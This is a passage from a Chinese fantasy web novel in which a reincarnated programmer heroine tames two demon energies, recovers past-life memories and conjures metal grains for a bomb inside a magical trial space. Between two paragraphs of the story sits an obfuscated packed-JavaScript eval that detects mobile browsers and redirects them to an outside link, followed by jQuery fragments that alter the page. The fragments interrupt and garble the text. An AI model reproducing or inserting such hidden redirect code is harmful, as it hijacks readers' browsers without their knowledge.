这两股力量并非静止,它们在她经脉中缓慢地盘旋、流动,彼此之间存在着一种微妙的排斥,但又因为被强行炼化于一炉,形成了一种极不稳定的动态平衡。就像把一团烈火和一块寒冰硬塞进同一个密闭容器,虽然暂时没炸,但容器壁(她的经脉和身体)时刻承受着巨大的压力。而她自身的灵力,一个淡蓝色的小球体,则在正中间被两股力量所包裹着。
“我‘看’到了。”祝君竹闭着眼,轻声描述着自己的感知,尽量不用现代术语,“两股力量,一热一冷,一刚一柔,相互排斥,但又被强行束缚在一起。”
林疏星闻言,眼中闪过惊异。能如此快就清晰内视到力量本源,这份天赋着实惊人。他沉声道:“既然感知清晰,接下来尝试最基础的运气,并非引导它们,而是尝试推动你自身固有的、微弱的灵力,如同溪流,绕过它们,在经脉中完成最简单的周天循环。目的是熟悉你自身能量通道的‘路径’,并让身体适应主动引导能量的过程。”
这是一个水磨工夫,需要极大的耐心和精细的控制力。对祝君竹而言,这就像是学习在布满障碍物(两股妖力)的复杂管网系统中,小心翼翼地引导一股细小的水流,不能碰到障碍物,还要保证水流不断。
她尝试着。第一次,灵力细流刚靠近那金红色的能量团,就如同水滴靠近烙铁,“嗤”的一声,险些被蒸发,引得那团能量微微躁动。第二次,靠近冰蓝色能量团,细流瞬间有被冻结的迹象,吓得她赶紧撤回。
“不要硬闯,寻找间隙,如同庖丁解牛,依乎天理,批大郤,导大窾……”林疏星在一旁低声指导,用的是仙朝的比喻。
祝君竹理解起来则是:“避开高负载区域,寻找系统资源占用低的路径,利用线程间隙进行任务调度……”
她沉下心,不再急于求成,而是像调试程序一样,一点点试探,记录下每一处能量壁垒的强度和范围,寻找着安全的“路由路径”。这个过程枯燥而耗费心神,但她乐在其中。清音在一旁看得无聊,已经开始打哈欠,甚至偷偷从芥子袋里摸出一包瓜子,被林疏星一个眼神瞪得又讪讪收了回去。
不知过了多久,祝君竹终于成功地引导着那缕微弱的自身灵力,完成了一个极其缓慢、但完整无缺的小周天循环。虽然只是最基础的成就,却让她对自身的“能量管网地图”有了初步的掌握。
“很好。”林疏星赞许地点点头,“接下来是归元。在循环结束时,将引导的灵力缓缓收归于丹田气海,使其沉淀、纯化。此过程能温养经脉,稳固根基。”
祝君竹照做,感觉完成循环后那丝微弱的灵力回归丹田,确实带来一种踏实和温暖的感觉,仿佛给系统打上了一个小小的稳定补丁。
基础练习之后,真正的挑战来了——尝试引导那两股妖力。
“你体内情况特殊,这两股力量本质极强,且属性相冲。强行融合或压制,恐适得其反。”林疏星眉头紧锁,这是他最没把握的部分,“或许……可以尝试利用它们相克的特性?仙道亦有阴阳相济、水火既济之说。若能使它们形成某种……动中之静,而非僵持的对峙,或可缓解其对身体的压力,并为你所用。”
他这话说得不确定,完全是在理论推演。毕竟,同时驾驭两种属性极端对立的高阶妖力,闻所未闻。
然而,这话听在祝君竹耳中,却如同醍醐灌顶!
阴阳相济?动中之静?那不就是动态平衡?阴阳鱼?
她脑中瞬间闪过之前解读玉京山石刻时,看到的那些关于能量循环、反馈调节的结构!尤其是那个嵌套圆环的图案!那不就是一个典型的、用于平衡两种相反力量的耦合系统模型吗?
在她看来,那金红色的阳性能量(狐妖)和冰蓝色的阴性能量(蛇妖),就像是正负电子、或是磁场的两极!它们相互排斥,但也正因这种对立,才蕴含着巨大的结合能!如果能让它们不再是无序碰撞的“自由粒子”,而是进入一个设计好的“协同轨道”,像电子围绕原子核,或者像双星系统那样相互绕转……
这个念头一起,她体内那两股妖力似乎感应到了她思维层面的突破,同时剧烈波动起来!不再是单纯的躁动,反而隐隐传递出一种……渴望?仿佛它们本身也在寻求一个稳定的归宿,而不是在她体内漫无目的地冲撞!
“我……我好像有思路了!”祝君竹猛地睁开眼,眼中精光闪烁,那是一种发现了关键算法般的兴奋,“林公子,请为我护法!清音,退远些!”
她不等林疏星回应,再次闭上双眼,全部心神都沉入了体内那个无形的“战场”。
这一次,她不再试图用微弱的自身灵力去“安抚”或“隔离”那两股庞然大物。而是直接以自己的意志为“编程指令”,以对玉京山石刻能量原理的理解为“理论框架”,开始主动“架构”一个新的能量系统!
她想象着那个嵌套圆环的图案,将其投射到自己的丹田气海之中。然后,她小心翼翼地,如同操作精密仪器般,用自己的意念,同时接触那金红与冰蓝两股能量核心。
“来吧……”她在心中默念,“既然你们在我的‘服务器’里住了这么久,也该交点‘租金’,贡献点‘算力’了!”
她不能将它们视为需要镇压的“病毒”或“BUG”,而是尝试将它们“招募”为系统的“核心进程”!
她引导着那股炽烈的金红能量,使其属性偏于“动”、“散”、“升”;引导着那股幽邃的冰蓝能量,使其属性偏于“静”、“聚”、“降”。然后,她以那个虚拟的嵌套圆环为蓝图,强行推动这两股能量,让它们沿着特定的、相互交织又彼此独立的“轨道”开始运转!
这个过程极其凶险!如同在台风眼中跳舞,在火山口上走钢丝!两股力量的本能排斥性极强,稍有不慎,就是能量失控、经脉尽碎的下场!
祝君竹额头瞬间布满冷汗,身体微微颤抖,嘴角甚至渗出一丝血迹。但她眼神无比坚定,大脑高速运转,不断根据能量的反馈,微调着“轨道参数”和“耦合强度”。这简直就像是在没有任何防护的情况下,手动调试一个处于临界状态的大型强子对撞机!
林疏星暗中运转灵力,双手轻轻覆于她丹田处,沉声引导:“凝神,我在这里。”
清音也顾不得什么轻薄之举,紧张地看着,连大气都不敢喘。
就在祝君竹感觉意识快要被两股力量的撕扯力碾碎,几乎要坚持不住的时候——
“嗡!”
一声只有她能听见的、源自灵魂深处的震鸣响起!
那相互排斥、剧烈冲突的两股能量,在达到某个临界点的瞬间,仿佛突破了某种禁制,骤然发生了变化!
它们并没有融合,而是形成了一种奇妙的共生状态!金红的能量流如同一条炽热的阳鱼,冰蓝的能量流如同一条幽冷的阴鱼,首尾相衔,围绕着同一个淡蓝色的中心,开始了稳定而和谐的旋转!
一个微型的、动态的阴阳能量涡旋,在她丹田之中正式成形!
原本充斥经脉的撕裂感和压迫感瞬间消失,取而代之的是一种前所未有的充盈与平衡!那两股曾经桀骜不驯的大妖之力,此刻温顺地盘旋着,不再是她身体的负担,反而成了她能量源泉的核心!它们依旧保持着各自的属性,但在这种动态平衡下,彼此制约,又彼此依存,散发出一种浑然一体、圆融自在的道韵!
成功了!
她以玉京山秘法原理为基,以自身意志为引,以现代科学的系统思维为器,硬生生地将这两股恐怖的妖力,变作了她自身的能量源泉!这是近乎不可能的壮举!
祝君竹缓缓睁开双眼,眸中清光流转,原本因为力量躁动而略显苍白的脸颊,此刻泛起健康的红晕,周身气息圆融内敛,却又深不可测。
她看着紧张万分的林疏星和快要哭出来的清音,露出一抹如释重负又带着点小得意的笑容,轻轻说了句:
“搞定。系统兼容性问题,解决了。”
林疏星:“……”
清音:“小姐……您又说我们听不懂的话了……不过您看起来好像……更厉害了?喂!你的破手还要轻薄我家小姐多久!”
祝君竹脸色微红,林疏星则尴尬不已,讪讪的收回了手掌。
洞内,只剩下清音后知后觉的欢呼,和林疏星那混合着震撼、茫然、以及一丝“我到底教了个什么怪物出来”的复杂眼神。
成功在丹田构筑出稳定的阴阳能量涡旋,对祝君竹而言,如同在体内安装了一个强大而稳定的“双核处理器”。但这仅仅是开始,如何调用这“处理器”的“算力”,编写出高效的“应用程序”(法术),并理解其底层运行原理,才是接下来的关键。
她并未满足于初步的掌控,而是趁着状态正好,继续沉浸在对力量的探索中。丹田内那和谐旋转的阴阳能量涡旋,提供了前所未有的清晰感知平台。她开始尝试更精细地“解析”这两股力量的本质。
意识沉入那旋转的能量中心,她不再满足于宏观的“冷热”、“刚柔”属性区分,而是试图深入到更微观的层面。得益于现代物理学,尤其是量子力学知识的熏陶,她下意识地将感知聚焦于能量流动中最细微的波动和交互。
渐渐地,在她高度集中的意念“扫描”下,那金红与冰蓝的能量流,显露出了更为惊人的本质——它们并非连续的能量体,而是由无数极其微小、闪烁着对应光芒的“基础单元”以某种特定规律组合、流动而成!这些“基础单元”彼此间存在着非连续的跳跃、叠加和纠缠现象!
“这是……量子化的能量表征?”祝君竹心中巨震。在她独特的“科学视角”下,所谓的妖力、灵力,其最基础的构成,似乎都指向了某种微观粒子的特定激发态!金红能量单元更偏向高能、活跃的“激发态”,而冰蓝能量单元则偏向低能、稳定的“基态”或某种“相干态”。它们的结合与转化,遵循着某种更深层次的、关乎能量与信息传递的量子规律!
玉京山石刻上那些关于能量流转、形态变化的玄奥描述,此刻在她脑中与量子隧穿、波粒二象性、量子纠缠等概念疯狂碰撞、印证!
“我明白了!”她心中豁然开朗,“所谓的‘仙法’,某种程度上,就是通过特定‘意念编码’也就是法诀等手段,引导这些‘量子能量单元’进行集体跃迁、重新排列组合,从而在宏观上展现出各种超自然现象!高阶仙法,无非是更复杂、更精妙的‘量子编程’!”
这个认知层面的突破,如同为她打开了一扇全新的大门。她不再将修行视为玄之又玄的感悟,而是当成一门极其深奥的“量子工程学”来研究!
有了理论指导,实践起来便有了方向。她开始尝试进行最简单的“量子层面编程”——即林疏星所说的凝意阶的深化。
她意念微动,不再粗暴地驱使能量流,而是如同输入一段简洁的指令,引导一小部分金红能量单元,使其“波函数坍缩”到特定的“激发态”,并约束其能量释放的方向。
嗤!
一缕细小的、却凝练无比的金红色火苗,凭空出现在她的指尖,稳定地燃烧着,散发出灼热的高温,却没有丝毫浪费。这与她之前冰面上失控的爆发截然不同,是真正受控的、高效的能量输出。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998672|193914||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
紧接着,她又引导冰蓝能量单元,使其进入某种“相干冻结态”。
喀啦……
石桌边缘,一小片区域瞬间覆盖上坚硬的寒冰,寒气凛冽。
心分二用,她同时调动阴阳能量涡旋的两极!
左手金红火苗跳跃,右手冰蓝寒气弥漫!
两种极端属性力量在她手中泾渭分明,却又源于同一核心,如臂指使!
这一幕,看得旁边的林疏星眼角直跳。他能清晰地感受到那火苗与寒气中蕴含的精纯而强大的力量,以及祝君竹那举重若轻的掌控力。这哪里是初入门?这分明是对力量本质有了极深理解后才能做到的精细操作!她到底是怎么在这么短的时间内做到的?!难道那些听起来像天书的“源代码”、“什么劈埃”真的是一种更高维度的修行秘语?
清音则已经看得两眼放光,双手捧心:“小姐!您太帅了!一手烤肉一手冰镇酸梅汤!以后咱们行走江湖,开个冷热饮铺子肯定发财!”
祝君竹:“……”这丫头的脑回路,总是如此清奇。
初步验证了“量子仙法编程”的可行性,祝君竹信心大增。她感到丹田内的阴阳涡旋转速悄然加快,与外界玉京山浓郁灵气的交互也变得更加高效。那层介于第一境法身境与第二境融界境之间的壁垒,在她对能量本质的深刻理解下,变得薄如蝉翼。
“或许……可以尝试冲击一下下一个境界?”她心念一动,决定趁热打铁。双眼一闭,陷入心流。
另外两人看她再次闭眼,都噤声凝神,不敢出声。鬼知道接下来会又有什么离谱的事情发生呢?
祝君竹不再局限于小范围的术法演练,而是将意念全面铺开,与丹田内的阴阳涡旋深度共鸣。同时,她运转林疏星所授的引导法门,但赋予了全新的内涵——不再是模糊的“感应天地”,而是主动去“连接”和“解析”周围空间中的能量场(灵气),理解其量子层面的涨落规律。
玉京山作为上古禁地,其空间结构稳固,能量场层次分明且极其活跃。在祝君竹的感知中,这就像是一个充满了各种“公有云API接口”的绝佳测试环境!
她以自身阴阳涡旋为“认证密钥”和“数据处理中心”,尝试“调用”周围空间的能量。
“请求访问:方圆十米,金属性能量粒子权限。”
“指令:构建低强度‘锋锐’场域。”
嗡——
以她为中心,方圆十米内的空气似乎微微凝滞,一股无形的“锋锐”之意弥漫开来,地面上的碎石悄然出现细微的切割痕迹。这正是融界境·初阶(域启阶)的标志——展开自身神域,暂时覆盖并强化现实世界的局部法则!
但这还没完!
她对能量本质的理解远超普通初入融界境的修行者。她继续“深化权限请求”。
“提升连接范围,接入地脉能量网络节点。”
“指令:威压,局部压力提升百分之五十!”
轰!
一股沉重的压力骤然降临在这片小小的域内!清音“哎呀”一声,差点被压得趴在地上,幸亏林疏星眼疾手快扶住了她。连林疏星自己也感到身体一沉,需要运转灵力才能抵抗。这能力已经远超林疏星的理解,这种神魂与外界天地深度共鸣,似乎是引动了更大范围的同源法则之力!
祝君竹感觉自己的意识仿佛融入了一片能量的海洋,无数信息流涌入,又被她强大的逻辑思维快速处理。丹田内的阴阳涡旋疯狂旋转,鲸吞着四周的灵气,将其转化为精纯的阴阳能量,支撑着域场的扩张和变化。
她的气息节节攀升,原本圆融内敛的气势,开始向外辐射,带着一种与周遭环境融为一体的和谐感,却又蕴含着随时可以爆发的恐怖力量。
祝君竹惊奇的发现融界境巅峰的屏障,近在眼前!但在祝君竹眼里,那并非是能力的壁障。而她自身独有的视角下,获得一方天地初步认可,拥有该区域“守护权柄”的境界!
然而,就在她试图一鼓作气,触摸那更高层次的权柄时,异变陡生!
或许是力量提升过于迅猛,引动了深藏于她灵魂深处的某些东西;或许是玉京山这特殊的环境,以及她对能量本质的深刻理解,如同钥匙般打开了一把尘封的锁。
一股庞大而混乱的记忆洪流,毫无征兆地冲破了某种禁锢,猛地灌入她的脑海!她瞬间感觉头痛欲裂,表情痛苦不已,向后跌去。
林疏星大惊失色,一个闪身到背后将她托住。运气周身灵力,帮她护住心脉丹田。却发觉她虽表情痛苦,灵力却稳定如常。
而祝君竹脑中的记忆已经不再是之前零星闪现的碎片,而是如同快进的电影,一幕幕清晰的画面、声音、情感,汹涌而至!
仙宫深处,仙帝那看似温和,实则充满贪婪与占有欲的目光:“浅月,你身负的秘法,是我玄枢仙朝统御须尘境全界乃至我们踏入大罗天的契机!交出它,朕许你永世荣华!”
深夜逃亡,身受重伤的她,凭借着对玉京山的熟悉,踉跄着冲破层层封锁,口中溢血,心中只有一个念头:“回玉京山……找师傅……”
玉京极顶,风雪漫天,师傅云渺真人常坐的悟道石上空空如也,只有一枚悬浮在半空、非金非玉、表面流转着混沌气息的梭形法宝,感受到她的到来,发出微弱的嗡鸣。
追兵已至,她回望了一眼身后火光隐隐的天都方向,眼中是决绝与不甘。她用尽最后力气,扑向那梭形法宝:“师傅……弟子无能……”
法宝融入体内的瞬间,一股无法理解的力量爆发,在她身前撕裂开一道闪烁着无数奇异符文的空间裂隙!强大的吸力传来,她重伤虚弱,毫无抵抗之力,瞬间被吸入裂隙之中!在意识彻底陷入黑暗前,她最后的感知是……时空的扭曲,以及一种“回归”与“新生”的奇异感觉……
现世,医院产房,婴儿响亮的啼哭声。“恭喜,是个女儿!”……童年、求学、工作……庞廉仁的背叛、坠海、天劫、妖力融合、重返仙朝……
线索断断续续串联成了一条线!
为何她会对玉京山如此熟悉?
为何她能轻易打开玉京禁制?
为何她体内会有那神秘的、能与玉京山共鸣的印记?
为何她现世的身体恢复速度异于常人?
她就是江浅月!
那个力挽狂澜却被仙帝觊觎秘法,最终被迫逃亡,借助师尊留下的神秘法宝打开时空裂隙,坠入现世轮回,成为了祝君竹的宸月公主——江浅月!
当年的她,为了逃避仙帝的野心,为了保住那可能引来灾祸的上古秘法,选择了这样一种惨烈而决绝的方式!那法宝……或许就是云渺真人留下的,用于在危急关头开启生路的最后手段,只是没想到会将她送入另一个世界,并经历了完整的轮回。
在混乱的记忆中,她忽然找到了一缕平静与欢愉。那是一位黄裙宫装女子跑着对前方背对她穿着一身黄袍的高大身影飞起一脚,踹的他踉跄扑倒。随后女子纵声大笑。
男子转过脸来满脸的无奈与笑意道:“哪有女儿家像你这般粗鲁。”竟是林疏星的脸!
黄裙宫装女子也转过身来,边跑边喊:“看你还敢不敢在太傅面前打小报告!哈哈哈哈!”那正是她自己,江浅月——也就是现在的祝君竹。
部分记忆的觉醒,带来了巨大的冲击,但也让一直萦绕在她心头的迷雾骤然散去。我是谁?我从哪里来?这两个问题,有了确切的答案。
汹涌的记忆片段洪流渐渐平复,与祝君竹现代识神彻底融合,不再冲突,而是成为了她人格的一部分。她缓缓睁开眼,眸中不再是属于“祝君竹”的纯粹冷静与探究,更添了一份属于“江浅月”的沉静、坚韧与……深埋的恨意。
仙帝对秘法的贪婪,历历在目!但是什么让他要致自己于死地呢?
定岳王府的冤屈,怕是也与此事有关!
一股强烈的、名为复仇的火焰,在她心中悄然点燃,并迅速蔓延。
她的气息在这一刻彻底稳固下来,虽然未能直接踏入第二境·第三阶(融界境·权柄阶),却已然站在了第二境·第二阶(融界境·共鸣阶)的巅峰,距离权柄阶只有一步之遥。周身道韵流转,与玉京山的天地无比亲和,仿佛她本就是此地的一部分。
林疏星敏锐地察觉到了她气质上的微妙变化,那不仅仅是因为力量的提升,更仿佛是内在的蜕变与成熟?他试探着问:“祝姑娘?你……感觉如何?”
祝君竹转过头,看向他,眼神复杂。她看着眼前的林疏星,也明白了他与自己相似的处境——恐怕都是仙朝权力斗争下的受害者。
“我想起了一些事。”她语气平静,却带着一种不容置疑的力量,“关于我是谁,以及……我们为什么会被追杀。”
她顿了顿,目光仿佛穿透山洞,望向了遥远的天都方向,轻声补充了一句,像是在对林疏星说,又像是在对自己宣告:
“看来,天都……是不得不回去一趟了。这玉京山玄影监的人进来过,就在20多年前!这并不绝对安全。”
她再次转过头看着林疏星道:“你我看来都逃不脱这牢笼!”
清音虽然不太明白具体发生了什么,但听到“回天都”,立刻激动地附和:“对!回天都!小姐,咱们杀回去!把那些坏蛋……唉……等等,小姐你想起来了?”
“清音。”祝君竹打断了她,语气不容置疑,“此事需从长计议。”复仇需要力量,更需要智慧。她不再是那个只知道冲锋陷阵的宸月公主,也不是那个只懂代码的程序员祝君竹。她是拥有部分江浅月的记忆、首创科学仙法、身负血海深仇的复仇者。
林疏星看着她眼中那深沉的决心与冷静的盘算,心中了然。眼前的女子,已然不同。他沉默片刻,点了点头:“无论前路如何,林某……愿助一臂之力。”
“你似乎也别无选择!对吧?太子殿下!”祝君竹淡淡的说。
林疏星微微一征,随即苦笑。二人交换了个眼神,似心照不宣。
8. 第七回:惊雷荡寇显神力
祝君竹这句话,如同投入平静湖面的石子,在林疏星心中荡开层层涟漪。他瞳孔微缩,但并未露出太多惊愕,只是微笑着深深看了她一眼,那目光中有审视,有了然,也有一丝同病相怜的复杂。
“前尘往事,不过云烟。”他最终只是淡然一笑,语气超脱,仿佛那个“太子殿下”的称谓与他无关,“如今,我只是林疏星,一个与你同路的逃亡者。一个被逼无奈的反击者。”
清音看看这个,又看看那个,小脑袋瓜有点转不过弯:“太子?小姐,您是说林老兄他是……那个死了好久的太子?”
二人同时点了点头。
她捂住嘴,眼睛瞪得溜圆,“天啊!我居然跟太子爷同行了这么久!还……还让他睡地板!”她后知后觉地开始回忆自己有没有对“太子爷”太过不敬。
“实在对不住啊太子殿下,我虽然以前见过你几次,但要么是跪着要么低着头……小姐知道,我胆子很小的,仰面视君这种罪名清音真的不敢担……”
祝君竹没理会清音的震惊碎碎念,而是饶有兴致的看着林疏星听了清音的话略显局促的模样,忽然觉得有趣。
林疏星避开了她的目光,转身在石桌边坐了下来。手搭在桌上的瞬间,石桌上那个由白色粉末勾勒的嵌套圆环图案忽的亮了起来。
祝君竹的注意力立即被图案吸引。部分江浅月的记忆觉醒后,她对这图案的感应愈发清晰强烈。这像是一个入口,或者说,一个启动密钥。
“这个图案,”她指尖虚点桌面,“它似乎在呼唤我。玉京山的秘密,恐怕远不止我们眼前所见。玄影监当年能潜入,说明此山并非绝对封闭。我们需要了解更多,无论是为了自保,还是为了……”她顿了顿,没有说出“复仇”二字,但眼中的寒光已说明一切。
林疏星走近,仔细观察那图案,神色凝重:“此图道韵内敛,却与整个玉京山的气机隐隐相连。贸然触动,福祸难料。”
“但这是我们目前唯一的线索。”祝君竹语气坚定,“被动等待,非我风格。”她继承了祝君竹的行动力,也找回了江浅月的果决。
她不再犹豫,深吸一口气,将刚刚稳固下来的、属于融界境共鸣阶的灵力,混合着那阴阳涡旋的独特气息,缓缓灌注到指尖,然后,轻轻点向了那个嵌套圆环图案的中心。
指尖触及粉末的瞬间,异变陡生!
那白色粉末骤然亮起刺目的白光!整个石桌嗡嗡震动,桌面上的图案仿佛活了过来,线条流转,光芒顺着特定的轨迹急速蔓延,瞬间覆盖了整个桌面,继而如同病毒扩散般,爬满了洞壁、地面!
“小姐!”清音惊呼。
“小心!”林疏星一步跨前,将祝君竹稍稍护在身后,周身淡薄的星辰灵力已然提起。
整个山洞不再是那个安全的庇护所,而是在光芒中变得虚幻、透明!周围的景物如同水纹般波动、扭曲,脚下的地面传来失重感!
林疏星忽然觉得这一幕,这阵法的灵力波动,似曾相识。他低喝一声:“是传送阵法!抓紧!”。
祝君竹反应极快,一手抓住身边吓得哇哇叫的清音,另一只手下意识地……抓住了林疏星的手臂。林疏星身体微微一僵,但没有挣脱。
下一刻,天旋地转!
强烈的空间拉扯感传来,仿佛被塞进了一个高速旋转的滚筒。清音的尖叫声被扭曲拉长,祝君竹只觉得眼前五彩斑斓的光影疯狂闪烁,大脑像是被塞进了一个正在格式化的硬盘,无数杂乱的信息流冲刷而过。
不知过了多久,也许只是一瞬,也许是永恒。
脚踏实地的感觉传来,周围的扭曲光影骤然稳定。
他们出现在了一个完全陌生的地方。
不再是那个温暖干燥的山洞,而是一片……混沌未开般的奇异空间。
头顶没有天空,脚下没有大地。四周是氤氲流转的、如同星云般的彩色能量流,缓慢地旋转、碰撞,散发出古老而洪荒的气息。一些巨大的、残破的、闪烁着符文光芒的晶石碎片悬浮在能量流中,缓缓沉浮。空气中弥漫着精纯却狂暴的能量粒子,比之外界的玉京山核心区域还要浓郁数倍,但也更加危险,仿佛随时可能引发能量风暴。
“这……这是哪里?”清音小脸煞白,紧紧抓着祝君竹的袖子,声音发颤,“我们被传到什么鬼地方来了?”
林疏星环顾四周,眼神中充满了震撼与警惕:“此地……似乎是玉京山内部,这些能量流和晶石碎片……蕴含着极其古老而强大的法则力量!”他能感觉到,这里的空间法则与外界的玉京山同源,但更加原始、更加接近本源。
祝君竹的感受则更为奇特。在她眼中,这片混沌能量空间,就像一个……未初始化的超级计算机内存池!那些彩色能量流是原始的数据和能量洪流,而那些晶石碎片,则是存储着特定“固件程序”或“基础函数库”的“硬件模块”!
“欢迎来到……‘造化洪炉’。”一个宏大、淡漠、仿佛由无数能量波动共鸣形成的苍老声音,直接在三人脑海中响起,不带任何感情。
“谁?!”清音吓得差点跳起来。
“吾乃此间阵灵,守护玉京根基。触动密钥者,需经受试炼,方可接触‘创造’之秘。”
“创造之秘?”祝君竹心中一动,联想到了石刻上“创造与约束,发挥极致能量”的描述。
“试炼内容:于此混沌之中,解析能量本质,构筑稳定之‘基’。”阵灵的声音毫无波澜,“时限:外界一炷香。失败,则神魂永锢于此,化为能量尘埃。”
话音刚落,周围缓慢流转的彩色能量流骤然变得狂暴起来!无数能量粒子如同失控的野马,互相冲撞、湮灭、衍生,散发出毁灭性的气息。同时,一股无形的压力从四面八方挤压而来,试图将他们的灵力、乃至神魂都碾碎、同化!
“稳住心神!运转灵力抵抗!”林疏星低喝,周身泛起淡淡的星辉,形成一个护罩,将三人勉强护住。但他脸色瞬间变得苍白,显然支撑得极为吃力。这阵灵的实力,远超想象!
清音更是直接变回了白鹿原型,瑟瑟发抖地躲在祝君竹身后,鹿眼中充满了恐惧。
祝君竹却在这极致的压力下,眼神越来越亮。
“解析能量本质?构筑稳定之‘基’?”她喃喃自语,“这不就是……物质创造的前置步骤吗?!”
在现代科学认知中,所谓的“创造物质”,本质上是通过能量,按照特定规则,也就是物理定律,凝聚出基本粒子,进而构成原子、分子!而此地的混沌能量,就是最原始的能量库!
她立刻行动起来,不再被动防御,而是主动将意识沉入周围狂暴的能量洪流中。
“启动高维感知模式!”
“加载量子层面解析算法!”
“目标:从混沌能量流中,分离、提取并稳定‘金属性’基础粒子!”
她的思维如同最高效的超级计算机,无视了那些狂暴的表象,直接深入到量子层面,去“阅读”那些能量单元的“属性编码”。阴阳涡旋以前所未有的速度旋转,为她提供着强大的“算力”支撑。
很快,她在混乱中捕捉到了那些代表着“坚硬”、“传导”、“延展”等特性的能量波动模式——对应于她所知的金属元素特性!
“首先,尝试构筑铝原子结构!”她选定了一个相对简单、且在她计划中至关重要的元素。铝,密度低,活性高,是高效燃烧剂和□□的重要成分!
她以意念为“镊子”,从混沌洪流中精准地“夹取”出对应数量的质子、中子、电子(在她感知中是具有特定量子态的能量包),然后按照铝原子的核外电子排布规律,开始进行“微观架构”!
这个过程极其耗费心神,如同在十二级台风中,用绣花针搭建一个微小的埃菲尔铁塔模型!稍有差池,架构就会崩溃,能量反噬自身。
汗水从她额头渗出,但她眼神专注,手指在虚空中无意识地划动,仿佛在编写着无形的代码。
林疏星震惊地看着她。他看不到量子层面的操作,但他能清晰地感觉到,周围狂暴的能量中,有一小部分正被祝君竹以一种他无法理解的方式“驯服”、“梳理”,并开始向着某种稳定的、具有实质感的“结构”转化!她周身散发出的道韵,越来越接近传说中的“无中生有”、“点石成金”的境界!这是大罗天中的仙人们才能掌握的,执掌秩序,法则统合!
“成!”
随着祝君竹一声低喝,一点银白色的、闪烁着金属光泽的微小颗粒,凭空出现在她指尖前方的虚空中!虽然只有沙粒大小,却散发着纯净的金属性能量波动!
她成功了!利用秘法,从混沌能量中,创造出了一粒人工铝单质!
有了第一次的成功经验,接下来便顺利了许多。
“接下来是镁!”镁粉,燃烧时能产生极高温度和耀眼白光!
又一粒微小的、银白色的金属颗粒被创造出来。
“还有硼!”硼同样具有高燃烧热值!
……
她如同一个不知疲倦的微观3D打印机,一点点地积累着这些“战略物资”。虽然每一粒都微小无比,但在这个能量充盈的秘境中,只要理论正确,能量供给几乎无限!
她想的很清楚,战斗是早晚的事情。这一点在她们渡过冰河的时候她就想到了。所以,她想试着造一个炸弹防身。
就在她全神贯注“打印”她的“炸弹原料”时,整个秘境空间,连同外界的玉京山,突然剧烈地震动了一下!
“警告:核心阵法节点‘平衡石’被未知外力干扰,逻辑冲突……部分禁制循环失效……”阵灵那淡漠的声音再次响起,却带上了一丝不易察觉的……卡顿?就像是老旧的电脑系统遇到了致命错误!
祝君竹心中猛地一沉!平衡石?难道是她在创造元素时,抽取了大量特定属性的能量,破坏了这秘境阵法千万年来的某种微妙平衡?!
几乎在阵灵声音落下的同时——
咻!咻!咻!
数道漆黑的身影,如同鬼魅般,凭空出现在这玉京山禁制的边缘!他们身着统一玄色,脸上戴着毫无表情的金属面具,周身气息阴冷凌厉,与这充满洪荒气息的秘境格格不入!
为首一人,目光如电,瞬间就锁定了祝君竹他们所在的阵法方向。
“终于进来了。”
冰冷的声音,不带一丝感情。
“速去回报,玉京山禁制已破,他们无处可逃了!”
身后一人应声而去。
几乎就在那几名黑影出现在玉京山边缘,气息泄露的瞬间,身处“造化洪炉”秘境中的祝君竹,心脏猛地一跳!在她识神中一种极其突兀、充满恶意的“异物入侵”感,如同针扎般刺入她的感知。这感觉是直接源于她与玉京山之间那愈发紧密的联系。仿佛她成了这座山延伸出去的“神经末梢”,任何对山体的侵害,都能被她瞬间捕捉。
“有人闯进来了!在东南边缘,十五人小队,气息阴冷……应该是……玄影监的人!”祝君竹猛地抬头,眼中寒光乍现,语速极快地向林疏星示警。她甚至能模糊地“看到”那几人如同墨点滴入清水般,正在玷污玉京山纯净的能量场。
林疏星脸色一变:“他们竟然真能在禁制失效的瞬间就找到缝隙潜入?!看来他们的能力远超我预判!”他立刻意识到情况的严峻。秘境试炼未完成,外敌已至,可谓内外交困。
清音吓得鹿身一抖,差点蹦起来:“啊?他们找来了?怎么办怎么办?我们还没出去呢!”
就在这危急关头,那个宏大淡漠的阵灵声音再次响起,带着更明显的“杂音”:“入侵……确认……威胁等级:中……试炼……强制中断……驱逐阵法启动失败……灵力能量紊乱……”
整个秘境空间震动得更加剧烈,周围的彩色能量流变得更加狂暴,甚至开始出现小范围的湮灭爆炸!显然,玄影监的闯入和祝君竹之前抽取能量创造元素的行为,双重叠加,让这座古老阵法陷入了崩溃的边缘!
“阵灵撑不住了!”祝君竹瞬间判断出形势,“必须尽快解决外面的敌人,然后……尝试修复禁制!”这个念头一出,她自己都吓了一跳。修复玉京山禁制?这听起来像是天方夜谭。但内心深处那个与山脉共鸣的声音告诉她,她或许可以做到,因为她已经触摸到了“创造”的门槛,理解了部分能量运作的“源代码”。
“如何解决?”林疏星眉头紧锁,“我们身处此地,能否出去还未可知。即便出去了,如果对方是十五人玄影监精锐,怕也不是对手……”
“不需要直接出手。”祝君竹目光锐利地扫过自己面前那悬浮着的、微小的铝、镁、硼金属颗粒,一个大胆到近乎疯狂的计划瞬间成型。“本来这些也是为他们准备的。我送他们一场‘盛大的欢迎仪式’!”
她不再理会还在“报错”的阵灵,全部心神都集中在面前那几粒微不足道的金属颗粒上。
“林公子,清音,护住自己!我必须全神贯注集中精神才能完成这个法术。而且,可能会有点……吵。”她快速吩咐了一句,嘴角带着一丝失去理智的笑容,语气带着一种近乎科研狂人的兴奋和冷静。
林疏星注意到了她嘴角的笑容,像极了江浅月小时候犯大事之前的样子。顿时知道,会有些相当不得了的事情要发生了。他立即将星辰护罩收缩,紧紧护住自己和清音。清音则把鹿脑袋埋进前蹄里,嘴里念念有词:“看不见我看不见我……”
只见祝君竹双手虚拢,将那几粒金属颗粒聚在掌心之间。丹田内的阴阳能量涡旋以前所未有的速度疯狂旋转,庞大的灵力混合着她对物质结构的深刻理解,如同编程般注入到那些颗粒之中!
